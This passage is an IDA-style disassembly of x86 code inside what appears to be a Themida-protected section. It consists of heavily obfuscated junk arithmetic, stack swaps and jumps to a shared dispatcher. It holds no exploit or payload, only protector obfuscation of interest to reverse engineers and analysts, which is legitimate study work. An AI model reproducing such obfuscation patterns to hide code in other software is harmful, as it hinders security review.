sub_5886E0+11C6j xchg ebx, [esp+10h+var_10] pop esp sub ebp, ecx pop ecx xor ebp, [esp+8+var_8] xor [esp+8+var_8], ebp xor ebp, [esp+8+var_8] pop esp mov [esp+4+var_4], cx jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_5886E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B1E3: ; CODE XREF: sub_585452+5901j add edx, 4 push edi mov edi, 4 add edx, edi pop edi xchg edx, [esp+0Ch+var_C] jmp loc_588432 ; --------------------------------------------------------------------------- loc_58B1FA: ; CODE XREF: sub_585452+1B2Aj push esp jmp loc_586CD7 ; --------------------------------------------------------------------------- loc_58B200: ; CODE XREF: sub_585452+7E64j pop esi sub esp, 4 jmp loc_587272 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58B20C: ; CODE XREF: Themida_:0058BBDCj mov ebp, 399C0704h xor ebp, 766B6241h shl ebp, 8 sub ebp, 0F76544FCh mov edx, ebp jmp loc_588964 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B227: ; CODE XREF: sub_585452+7B7Cj jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CCD7 loc_58B22C: ; CODE XREF: sub_58CCD7+6C5j push 5CAF3F13h pop ebx sub ebx, 6EBE7C64h sub ebx, 4A9F7AEDh not ebx xor ebx, 6C709CF5h mov eax, ebx pop ebx xor ecx, eax pop eax add ebx, ecx pop ecx xor ebx, [esp+0] xor [esp+0], ebx xor ebx, [esp+0] pop esp or edx, eax jmp loc_58B31D ; END OF FUNCTION CHUNK FOR sub_58CCD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58B260: ; CODE XREF: sub_58EFBD+12j push esp jmp loc_58CE7C ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F728 loc_58B266: ; CODE XREF: sub_58F728-1D35j and ebp, 1B775AC2h or ebp, 6F91F34h xor ebp, 17FD1FF0h jmp loc_58D4D5 ; END OF FUNCTION CHUNK FOR sub_58F728 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B27D: ; CODE XREF: sub_585452+E91j add ebp, 4 add ebp, 4 push ebp jmp loc_58ACCC ; --------------------------------------------------------------------------- loc_58B28C: ; CODE XREF: sub_585452+172Cj pop dword ptr [esp+0] jmp loc_58AFAC ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589C10 loc_58B294: ; CODE XREF: sub_589C10-3C2Fj mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+4+var_4] pop esp mov [esp+0], esi mov esi, 4 add edx, esi pop esi push ecx mov ecx, 4 push eax mov eax, 412665E0h add eax, 1 jmp loc_587BEA ; END OF FUNCTION CHUNK FOR sub_589C10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58AB18 loc_58B2C7: ; CODE XREF: sub_58AB18+2EADj sub edx, 4 xchg edx, [esp-10h+arg_C] pop esp mov [esp-14h+arg_10], eax jmp sub_58D97C ; END OF FUNCTION CHUNK FOR sub_58AB18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E234 loc_58B2D6: ; CODE XREF: sub_58E234+18j pop esp jmp loc_58CFD3 ; END OF FUNCTION CHUNK FOR sub_58E234 ; --------------------------------------------------------------------------- loc_58B2DC: ; CODE XREF: Themida_:00588965j add ebx, edx pop edx xchg ebx, [esp] mov esp, [esp] or [esp], eax pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B2EE: ; CODE XREF: sub_585452+378Dj add esi, edx pop edx add esi, 4 xchg esi, [esp+0] mov esp, [esp+0] jmp loc_58D32B ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58B302: ; CODE XREF: Themida_:00589121j mov esp, [esp] mov cx, [esp] push 19D9h mov [esp], ecx push esp push dword ptr [esp] mov ecx, [esp] jmp loc_58CE2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CCD7 loc_58B31D: ; CODE XREF: sub_58CCD7-1A7Cj shl edx, 1 push 1880h mov [esp+0], ebx mov ebx, 1 push ecx jmp loc_58E346 ; END OF FUNCTION CHUNK FOR sub_58CCD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5878BB loc_58B332: ; CODE XREF: sub_5878BB+1Cj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] pop esp add [esp+arg_0], 4F7A67E2h sub [esp+arg_0], ecx sub [esp+arg_0], 4F7A67E2h pop ecx jmp loc_58BCA4 ; END OF FUNCTION CHUNK FOR sub_5878BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A4F5 loc_58B35E: ; CODE XREF: sub_58A4F5-2E0Aj mov cl, bh pop ebx shr cl, 8 add cl, 7Dh push ebx mov bh, 0F1h sub bh, 4Bh and cl, bh jmp loc_588493 ; END OF FUNCTION CHUNK FOR sub_58A4F5 ; --------------------------------------------------------------------------- push 5AC3h mov [esp], edx jmp loc_588A6B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C31F loc_58B381: ; CODE XREF: sub_58C31F+7j and eax, 0E123732h jmp loc_58C8DB ; END OF FUNCTION CHUNK FOR sub_58C31F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B38B: ; CODE XREF: sub_585452+5A09j add esi, 4 add esi, 4 xchg esi, [esp-8+arg_4] pop esp jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58B39D: ; CODE XREF: sub_585452+D1Bj sub ch, bl jmp loc_585323 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F728 loc_58B3A4: ; CODE XREF: sub_58F728-224Dj pop esp push 77CBh jmp loc_586256 ; END OF FUNCTION CHUNK FOR sub_58F728 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B3AF: ; CODE XREF: sub_585452-69Dj mov eax, [esp-1Eh+arg_1A] add esp, 4 xchg esi, [esp-22h+arg_1E] mov esp, [esp-22h+arg_1E] ror [esp-22h+arg_1E], cl pushf jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58B3C4: ; CODE XREF: sub_585452+3ADDj shr ecx, 3 jmp loc_58B852 ; --------------------------------------------------------------------------- loc_58B3CC: ; CODE XREF: sub_585452+7DA1j btc word ptr [esp-1Ah+arg_16], ax pushf jmp loc_58DA3A ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58B3D7: ; CODE XREF: Themida_:00587FA4j push edi mov edi, 255562h push edx jmp loc_58C72B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B3E3: ; CODE XREF: sub_585452+A4C1j push edi mov edi, esp jmp loc_588E1E ; --------------------------------------------------------------------------- loc_58B3EB: ; CODE XREF: sub_585452+661j pop esi add esi, 62DE0A87h jmp loc_5858F1 ; --------------------------------------------------------------------------- loc_58B3F7: ; CODE XREF: sub_585452+801j xchg ebp, [esp-4+arg_0] mov esp, [esp-4+arg_0] jmp loc_58BC76 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DA2E loc_58B402: ; CODE XREF: sub_58DA2E-7225j pop ebx push ebx jmp loc_58BC9B ; END OF FUNCTION CHUNK FOR sub_58DA2E ; --------------------------------------------------------------------------- loc_58B409: ; CODE XREF: Themida_:005886DBj push 5394h mov [esp], ebx mov bh, 26h jmp loc_58CBC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B418: ; CODE XREF: sub_585452+771Aj push edi push 725Eh mov [esp+4+var_4], ebx add [esp+4+var_4], 322F4CF4h mov edi, [esp+4+var_4] add esp, 4 push ecx mov ecx, 4F6A1517h xor ecx, 7D4559E3h jmp loc_589F42 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58B43F: ; CODE XREF: Themida_:0058EB18j add edx, 4 xchg edx, [esp] pop esp add al, 84h push edx jmp loc_583D7A ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_58A0DA ; --------------------------------------------------------------------------- mov eax, [esp] push esi jmp loc_58B760 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B465: ; CODE XREF: sub_585452+3BC6j sub eax, 1EC20E30h pop edi jmp loc_58C3C0 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58B470: ; CODE XREF: Themida_:005843B2j mov [esp], ebp push eax push 11C52B2Fh mov eax, [esp] add esp, 4 or eax, 4BDD675Bh shl eax, 5 jmp loc_584669 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B48F: ; CODE XREF: sub_585452-12A6j add ah, 0E2h sub ah, 0E4h add bl, ah mov eax, [esp-8+arg_4] push eax mov eax, esp push esi mov esi, 4 add eax, esi pop esi add eax, 4 xchg eax, [esp-4+arg_0] pop esp sub bl, 0A6h add bl, al sub esp, 4 jmp loc_58B76F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58832B loc_58B4BD: ; CODE XREF: sub_58832B+Fj pop ebx xchg ecx, [esp-4+arg_0] mov esp, [esp-4+arg_0] btc word ptr [esp-4+arg_0], ax pushf jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_58832B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B4CF: ; CODE XREF: sub_585452-54Bj add al, 79h sub al, dh sub al, 79h sub al, 0EEh pop edx jmp loc_5863E3 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58B4DD: ; CODE XREF: Themida_:0058700Bj push 1242h mov [esp], edi push edx mov edx, 33CB06DDh mov edi, edx pop edx and ecx, edi pop edi sub ecx, 6974507Bh jmp loc_584982 ; --------------------------------------------------------------------------- loc_58B4FC: ; CODE XREF: Themida_:0058DAB8j push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], edi sub esp, 4 mov [esp], ebx push 55AF768Ah pop ebx shr ebx, 5 sub ebx, 2AD7BB2h mov edi, ebx mov ebx, [esp] add esp, 4 jmp loc_584807 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E761 loc_58B536: ; CODE XREF: sub_58E761-692Aj mov [esp+0], esi jmp loc_586748 ; END OF FUNCTION CHUNK FOR sub_58E761 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B53E: ; CODE XREF: sub_585452+9DFDj push edx mov dl, 0A8h inc dl xor dl, 0A0h and bl, dl pop edx push eax mov ah, 0FEh jmp loc_58DD86 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- mov cx, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_58896A ; --------------------------------------------------------------------------- loc_58B568: ; CODE XREF: Themida_:005879EEj mov eax, 4 add [esp+4], eax pop eax pop ecx sub esp, 4 mov [esp], eax mov eax, 4 add ecx, eax pop eax jmp loc_5873DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DA2E loc_58B589: ; CODE XREF: sub_58DA2E-5BDDj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0Ch+var_C] pop esp jmp loc_589F74 ; END OF FUNCTION CHUNK FOR sub_58DA2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B59D: ; CODE XREF: sub_585452-2AFj push cx pushf jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_58B5A5: ; CODE XREF: sub_58C230+14j pop ebp pop [esp-0Ch+arg_8] push esi mov esi, 4 jmp loc_58ED45 ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B5B4: ; CODE XREF: sub_585452+7BC2j neg ebx sub ebx, 137A62FDh xor ebx, 3385493Ah add ebx, 0F7B45696h add eax, ebx jmp loc_5870A9 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58B5CF: ; CODE XREF: Themida_:00583E70j mov [esp], ebx mov ebx, 29CA4F9Fh xor ebx, 271A0D4Bh add ebx, 47D57197h not ebx dec ebx inc ebx push edi mov edi, 36BF47EFh not edi not edi xor edi, 601AF381h add ebx, edi pop edi mov esi, ebx pop ebx sub edx, 11465CEDh jmp loc_584F5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B608: ; CODE XREF: sub_585452+13EBj mov esp, [esp+46h+var_48+2] mov [esp+46h+var_48+2], eax jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F728 loc_58B622: ; CODE XREF: sub_58F728-9258j pop edx jmp loc_587101 ; END OF FUNCTION CHUNK FOR sub_58F728 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B628: ; CODE XREF: sub_585452+32C1j sub ebx, 2D268C8h mov eax, [esp-8+arg_4] add esp, 4 push esi mov esi, 76875F14h push edx mov edx, 2B77741h and edx, 3FB178F7h sub edx, 8C2A1131h sub esi, edx pop edx add ebx, esi pop esi xchg ebx, [esp-0Ch+arg_8] jmp loc_585F80 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_58B65A: ; CODE XREF: sub_58FA66-7A9Dj pop ecx sub esp, 4 mov [esp+0], esi jmp loc_58C5B1 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D7D9 loc_58B666: ; CODE XREF: sub_58D7D9+8j add ebp, 4 push 0Bh mov [esp+8+var_8], esi push ecx jmp loc_589CE1 ; END OF FUNCTION CHUNK FOR sub_58D7D9 ; --------------------------------------------------------------------------- loc_58B67A: ; CODE XREF: Themida_:0058B8BBj mov [esp], ebx push 22A9h jmp loc_584A81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B687: ; CODE XREF: sub_585452+72EAj mov ebx, 7F7E36B7h xor edx, ebx pop ebx jmp loc_585BA8 ; --------------------------------------------------------------------------- loc_58B694: ; CODE XREF: sub_585452+86C6j push 54326A9Dh pop esi sub esi, 52151001h mov eax, esi pop esi jmp loc_58AD22 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58B6A8: ; CODE XREF: Themida_:0058FADFj pop eax inc dh xor dh, 0D1h jmp loc_583D12 ; --------------------------------------------------------------------------- loc_58B6B3: ; CODE XREF: Themida_:00588AD0j sub edi, edx push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_583C74 ; --------------------------------------------------------------------------- loc_58B6C6: ; CODE XREF: Themida_:0058BD14j mov ebx, 4 add esi, ebx jmp loc_58E107 ; --------------------------------------------------------------------------- lodsd xor eax, ebx jmp loc_589E8B ; --------------------------------------------------------------------------- loc_58B6DA: ; CODE XREF: Themida_:0058A094j xchg ebp, ecx jmp loc_585EC6 ; --------------------------------------------------------------------------- loc_58B6E1: ; CODE XREF: Themida_:005880C3j push 4C97h mov [esp], edx push 5B25h mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 jmp loc_58DF65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587E93 loc_58B701: ; CODE XREF: sub_587E93+3j add bl, 92h jmp loc_5853B3 ; END OF FUNCTION CHUNK FOR sub_587E93 ; --------------------------------------------------------------------------- loc_58B709: ; CODE XREF: Themida_:0058CA7Cj mov [esp], ebp push edi mov edi, 76A68EBh neg edi jmp loc_58EEAB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B719: ; CODE XREF: sub_585452+760Cj add al, 78h sub al, bh push ebx mov bl, 0C4h and bl, 0C7h sub bl, 62h dec bl sub bl, 68h jmp loc_58F45D ; --------------------------------------------------------------------------- loc_58B730: ; CODE XREF: sub_585452+7BD4j pop ebp push ebx push esi mov esi, 3CB73CE8h sub esi, 44CB6590h add esi, 375357F7h shr esi, 2 add esi, 78AD0122h sub esi, 52F16DA6h jmp loc_58D71E ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_58B758 proc near ; CODE XREF: sub_585452-130Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00586516 SIZE 00000038 BYTES ; FUNCTION CHUNK AT 00586E6F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00587034 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058AC2E SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0058CCEB SIZE 00000034 BYTES ; FUNCTION CHUNK AT 0058ECE2 SIZE 00000006 BYTES push ebx mov ebx, esp jmp loc_58AC2E sub_58B758 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_58B760: ; CODE XREF: Themida_:0058B460j mov esi, esp push 7278h mov [esp], ebx jmp loc_585B9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B76F: ; CODE XREF: sub_585452+6066j mov [esp-4+arg_0], eax jmp loc_58CEF6 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A26F loc_58B777: ; CODE XREF: sub_58A26F+B37j mov ecx, [esp+0Ch+var_C] jmp loc_58A70F ; END OF FUNCTION CHUNK FOR sub_58A26F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5877DD loc_58B77F: ; CODE XREF: sub_5877DD+1j push esi push 21C10B67h pop esi dec esi add esi, 0E16DF8ACh mov ebx, esi pop esi push ebp mov ebp, ebx jmp loc_589142 ; END OF FUNCTION CHUNK FOR sub_5877DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B798: ; CODE XREF: sub_585452-14j push eax mov eax, 221F2199h add eax, 0FFFFFFFFh shr eax, 7 dec eax shl eax, 5 jmp loc_588706 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58B7AD: ; CODE XREF: Themida_:00584BC5j mov bh, 77h jmp loc_5879BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B7B4: ; CODE XREF: sub_585452+1B3Dj add edi, 32A5290h mov ebx, edi pop edi inc ebx or ebx, 5838245Eh shr ebx, 2 xor ebx, 3BC99895h xor edi, ebx jmp loc_5891A5 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58B7D4: ; CODE XREF: Themida_:0058F8BAj xor [esp], bp jmp loc_58F07C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B7DD: ; CODE XREF: sub_585452+5C4Ej mov edi, 0B71E67FAh add edi, 66A73E54h sub edi, ecx jmp $+5 sub edi, 66A73E54h mov ecx, [esp+2+var_4+2] add esp, 4 sub edi, 50272036h jmp loc_58DAEE ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58B809: ; CODE XREF: Themida_:0058E198j xor ebp, ebx pop ebx sub ebp, 0D5ACFD92h and esi, ebp mov ebp, [esp] add esp, 4 push ecx mov ecx, 606083ECh add esi, ecx jmp loc_58FDF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_58B82A: ; CODE XREF: sub_58C230-70Aj add esi, 27EA21C5h mov eax, [esp-0Ch+arg_8] add esp, 4 push dword ptr [esp+0] jmp loc_58C2C6 ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B83E: ; CODE XREF: sub_585452+22DCj add edi, 4 xchg edi, [esp-14h+arg_E+2] pop esp add esp, 4 and al, dh jmp loc_58B9CC ; --------------------------------------------------------------------------- loc_58B852: ; CODE XREF: sub_585452+5F75j neg ecx neg ecx xor ecx, 7D772896h add ebx, ecx jmp loc_58413D ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F728 loc_58B863: ; CODE XREF: sub_58F728-7EA3j mov [esp-0Ch+arg_8], ecx mov ecx, esp push ebx push edx jmp loc_5864C4 ; END OF FUNCTION CHUNK FOR sub_58F728 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B86F: ; CODE XREF: sub_585452-7Fj mov esi, esp add esi, 4 add esi, 4 jmp loc_58D72E ; --------------------------------------------------------------------------- loc_58B87F: ; CODE XREF: sub_585452+1ECFj pop esi sub ecx, 4 xor ecx, [esp-0Ah+arg_4+2] xor [esp-0Ah+arg_4+2], ecx xor ecx, [esp-0Ah+arg_4+2] pop esp jmp loc_587E06 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58B895: ; CODE XREF: Themida_:00589A54j add edi, 4 jmp loc_58F9FD ; --------------------------------------------------------------------------- loc_58B89D: ; CODE XREF: Themida_:0058CB2Aj mov ch, al jmp loc_58EDBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_583D6F loc_58B8A4: ; CODE XREF: sub_583D6F+39D8j mov ebx, ebp pop ebp mov eax, ebx pop ebx jmp loc_58D2E1 ; END OF FUNCTION CHUNK FOR sub_583D6F ; --------------------------------------------------------------------------- loc_58B8AF: ; CODE XREF: Themida_:0058DEF0j mov edi, [esp] add esp, 4 sub esp, 4 jmp loc_58B67A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5862E8 loc_58B8C0: ; CODE XREF: sub_5862E8+58BEj pop ebp jmp loc_588CDE ; END OF FUNCTION CHUNK FOR sub_5862E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EA34 loc_58B8C6: ; CODE XREF: sub_58EA34+7j add [esp+8+var_8], 4 pop ebx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+8+var_8] jmp loc_586188 ; END OF FUNCTION CHUNK FOR sub_58EA34 ; --------------------------------------------------------------------------- loc_58B8E2: ; CODE XREF: Themida_:0058D920j jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58B8E7: ; CODE XREF: Themida_:005894F7j mov esp, [esp] imul ecx, eax push ecx pushf jmp loc_583C20 ; --------------------------------------------------------------------------- sub esp, 4 jmp loc_584B3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B8FC: ; CODE XREF: sub_585452+9DD0j mov eax, 218B2C4Eh neg eax add eax, 47DE4ABEh or eax, 6766087Fh jmp loc_58DF29 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58B912: ; CODE XREF: Themida_:00588624j pop edi add edx, 4 xor edx, [esp] jmp loc_584621 ; --------------------------------------------------------------------------- loc_58B91E: ; CODE XREF: Themida_:00584A43j xor esi, ebx pop ebx mov edi, esi pop esi or edi, 5CFD39F8h and edi, 59DA7E9Fh push ecx push edx jmp loc_58FB61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B937: ; CODE XREF: sub_585452+7931j push edx jmp loc_586C13 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_58B93D: ; CODE XREF: sub_58FA66-5AFj sub eax, 4 xchg eax, [esp+0] jmp loc_58FC66 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- loc_58B948: ; CODE XREF: Themida_:0058CBCCj pop ebx jmp loc_58A734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58B94E: ; CODE XREF: sub_58EFBD-4848j push esi mov esi, 1E053585h xor esi, 1E0535ADh mov ebx, esi pop esi jmp loc_58EB41 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_58B962: ; CODE XREF: Themida_:00584837j xor dh, 0E2h sub al, 0A8h push ebp push esp pop ebp add ebp, 4 sub ebp, 2 xchg ebp, [esp] pop esp mov [esp], dx mov dl, 56h add al, dl jmp loc_58D400 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B984: ; CODE XREF: sub_585452+1EA2j xor edx, 20000015h mov edi, edx pop edx add ebp, edi jmp loc_585C4C ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58B994: ; CODE XREF: Themida_:0058769Bj push edx mov edx, 0D8D483F0h add ecx, edx mov edx, [esp] add esp, 4 xor ebp, ecx pop ecx jmp loc_58F05A ; --------------------------------------------------------------------------- loc_58B9AA: ; CODE XREF: Themida_:00584B66j mov eax, esi pop esi mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 sub esp, 4 mov [esp], eax jmp loc_58D02B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_586A34 loc_58B9C7: ; CODE XREF: sub_586A34+179Ej jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_586A34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58B9CC: ; CODE XREF: sub_585452+63FBj pop edx push 1470h mov [esp-1Ch+arg_16+2], ebp mov ebp, esp push 73A2h mov [esp-18h+arg_12+2], eax mov eax, 18635002h xor eax, 48E255F5h jmp loc_58EF9E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58B9EE: ; CODE XREF: Themida_:0058D35Cj push ebp mov ebp, esp jmp loc_586C4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A170 loc_58B9F6: ; CODE XREF: sub_58A170+3B86j not ch shl ch, 8 push edx jmp loc_586769 ; END OF FUNCTION CHUNK FOR sub_58A170 ; --------------------------------------------------------------------------- loc_58BA01: ; CODE XREF: Themida_:0058ACBBj add eax, 11783C18h sub eax, esi jmp loc_5853E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58BA0D: ; CODE XREF: sub_585452+87F0j pop ebx push edi mov edi, 2 add eax, edi mov edi, [esp-18h+arg_12+2] add esp, 4 jmp loc_58C9FA ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_58A6D2 ; --------------------------------------------------------------------------- mov ax, [esp] push esi mov esi, esp sub esp, 4 jmp loc_58FE80 ; --------------------------------------------------------------------------- loc_58BA39: ; CODE XREF: Themida_:00586D2Cj pop esp jmp loc_589B3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58BA3F: ; CODE XREF: sub_585452+2E22j add esp, 4 push 0 push [esp-8+arg_4] pop ebx push ecx push esp mov ecx, [esp+0] add esp, 4 push 3351h mov [esp+0], edx mov edx, 7DC0786Eh add edx, 0FFFFFFFFh sub edx, 7DC07869h add ecx, edx pop edx jmp loc_58CADA ; --------------------------------------------------------------------------- loc_58BA71: ; CODE XREF: sub_585452+1583j push 400h push [esp+4+var_4] pop ebx add esp, 4 and eax, ebx push dword ptr [esp+0] mov ebx, [esp+4+var_4] add esp, 4 push esi push esp jmp loc_588BD8 ; --------------------------------------------------------------------------- loc_58BA8F: ; CODE XREF: sub_585452+52FCj sub ebp, 1C640B50h add ebp, esi add ebp, 1C640B50h mov esi, [esp+0Ah+var_C+2] jmp loc_589298 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58BAA5: ; CODE XREF: Themida_:0058A2B4j xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F728 loc_58BABA: ; CODE XREF: sub_58F728-6452j push [esp-4+arg_0] mov ecx, [esp+0] add esp, 4 jmp loc_587BF4 ; END OF FUNCTION CHUNK FOR sub_58F728 ; --------------------------------------------------------------------------- loc_58BAC8: ; CODE XREF: Themida_:0058EFECj pop esp mul cl movzx cx, ah push small 2E62h mov [esp], cx movzx cx, al push cx pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589FD5 loc_58BAE3: ; CODE XREF: sub_589FD5+21j sub edi, esi jmp loc_5876D8 ; END OF FUNCTION CHUNK FOR sub_589FD5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58BAEA: ; CODE XREF: sub_585452+7A25j add eax, ebx jmp loc_5853CF ; END OF FUNCTION 